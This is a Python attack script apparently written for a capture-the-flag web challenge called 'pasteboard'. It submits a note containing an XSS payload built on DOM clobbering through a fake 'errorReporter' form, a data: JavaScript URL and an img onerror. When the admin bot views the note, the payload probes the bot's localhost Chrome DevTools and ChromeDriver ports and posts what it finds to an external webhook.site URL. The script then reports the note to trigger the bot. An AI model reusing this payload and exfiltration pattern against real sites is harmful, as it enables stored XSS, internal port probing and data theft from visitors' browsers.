#!/usr/bin/env python3
"""
CDP Simple Test - Just test ONE port at a time with minimal payload
"""
import requests
import time
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/9112d3b8-af6d-4c2c-8dea-31441a9af685"


def test_port(port_num, port_name):
    """Test a single port with simple payload"""
    # Super simple: just try to fetch and report result
    js_code = f"""
fetch('{WEBHOOK}?start_{port_name}=1').then(()=>{{
  return fetch('http://localhost:{port_num}/json/version');
}}).then(r=>{{
  return r.text();
}}).then(txt=>{{
  return fetch('{WEBHOOK}?SUCCESS_{port_name}={port_num}',{{method:'POST',body:txt}});
}}).catch(e=>{{
  return fetch('{WEBHOOK}?FAIL_{port_name}={port_num}&err='+e.message);
}});
""".replace('\n', ' ').strip()

    payload = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{js_code}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

    print(f"\n[*] Testing {port_name} (port {port_num})...")

    response = requests.post(
        urljoin(CHALLENGE_URL, "/note/new"),
        data={"title": f"Test {port_name}", "body": payload},
        allow_redirects=False
    )

    if response.status_code == 302:
        note_path = response.headers.get('Location')
        print(f"[+] Paste: {urljoin(CHALLENGE_URL, note_path)}")

        time.sleep(1)

        report_response = requests.post(
            urljoin(CHALLENGE_URL, "/report"),
            data={"url": note_path}
        )

        if report_response.status_code == 202:
            print(f"[+] Queued!")
            return True
    return False


print("="*80)
print("🎯 CDP SIMPLE TEST - One port at a time")
print("="*80)
print(f"Webhook: {WEBHOOK}")
print("="*80)

# Test 1: CDP default port
test_port(9222, "CDP")
time.sleep(12)

# Test 2: ChromeDriver default port
test_port(9515, "ChromeDriver")
time.sleep(12)

# Test 3: First ephemeral port
test_port(32768, "Ephemeral")

print("\n" + "="*80)
print("✅ ALL TESTS QUEUED")
print("="*80)
print(f"📊 Check webhook: {WEBHOOK}")
print("\nLook for:")
print("  - start_CDP=1 → Test started")
print("  - SUCCESS_CDP=9222 → Port accessible!")
print("  - FAIL_CDP=9222&err=... → Port blocked (error message)")
print("  - (same for ChromeDriver and Ephemeral)")
print("="*80)
